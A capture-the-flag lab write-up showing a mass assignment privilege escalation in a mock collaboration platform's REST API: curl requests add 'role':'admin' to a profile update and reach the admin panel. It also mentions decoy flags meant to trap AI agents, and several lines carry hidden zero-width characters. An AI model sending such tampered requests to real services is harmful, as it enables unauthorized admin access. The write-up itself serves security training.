Lab 110 — FlowDesk — Mass Assignment Privilege Escalation

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-27 | Status: Solved Techniques: api_parameter_tampering, hidden_field_injection, mass_assignment_exploitation, role_escalation

Summary

Task: team collaboration platform with REST API exposing role field in user profile response. Solution: exploit mass assignment by adding role=admin to profile update request, bypassing frontend restrictions to gain admin access.

Lab 110 — FlowDesk — Mass Assignment Privilege Escalation — Hackadvisor

Description

FlowDesk is a team collaboration platform that provides workspace management, task tracking, and team communication features. The platform has a REST API powering its dashboard, user profiles, and admin functionality. The goal is to find a way to access the admin panel and retrieve the flag from the system configuration.

Pay close attention to how the API handles user data and what properties the backend accepts when you update your profile.

Credentials: user@test.com / password123 ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A collaboration platform with REST API. The goal is to escalate privileges to admin and access the admin panel to retrieve the flag.

Analysis

1. Initial reconnaissance:

   • Logged in via POST /api/auth/login with provided credentials
   • Discovered profile page at /profile which loads /js/profile.js
   • Found profile API endpoint: PUT /api/users/profile

2. Identifying the vulnerability:

   • Made GET request to /api/users/profile to see current user data
   • Response revealed user object with fields including role: "user":

    json read-only • copy allowed Copy
   {
     "user": {
       "id": 2,
       "username": "testuser",
       "email": "user@test.com",
       "display_name": "Alex Rivera",
       "bio": "...",
       "avatar_url": "",
       "role": "user",
       "title": "Software Developer",
       "status": "active",
       "created_at": "..."
     }
   }

   • The frontend form only sends: display_name, email, bio, avatar_url
   • But the API response shows additional fields like role that might be writable ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

3. Key vulnerability: The backend accepts and processes the role field in profile update requests without proper validation. The frontend doesn't include this field, but the API doesn't have a whitelist — it accepts any field from the user object, allowing mass assignment of privileged properties.

Solution

Step 1: Confirm current role is "user"

 bash read-only • copy allowed Copy
curl -X GET "https://9a8a28ca-20dd-4e23-bae0-50ab0c720520.labs.hackadvisor.io/api/users/profile" \
  -H "Cookie: connect.sid=SESSION_COOKIE"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 2: Exploit mass assignment to escalate to admin

 bash read-only • copy allowed Copy
curl -X PUT "https://9a8a28ca-20dd-4e23-bae0-50ab0c720520.labs.hackadvisor.io/api/users/profile" \
  -H "Content-Type: application/json" \
  -H "Cookie: connect.sid=SESSION_COOKIE" \
  -d '{"display_name":"Alex Rivera","email":"user@test.com","bio":"Test","avatar_url":"","role":"admin"}'

Response confirmed privilege escalation:

 json read-only • copy allowed Copy
{
  "success": true,
  "user": {
    "id": 2,
    "username": "testuser",
    "email": "user@test.com",
    "display_name": "Alex Rivera",
    "bio": "Test",
    "avatar_url": "",
    "role": "admin",
    "title": "Software Developer",
    "status": "active"
  }
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Access admin panel

• Before escalation: /admin returned "Access Denied"
• After escalation: /admin was accessible
• Found the flag in System Configuration table under internal_api_secret

Note about decoys: The application contained honeypot flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) hidden in HTML comments designed to trick automated scanners and AI agents. These were fake — the real flag was only visible after legitimate privilege escalation. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍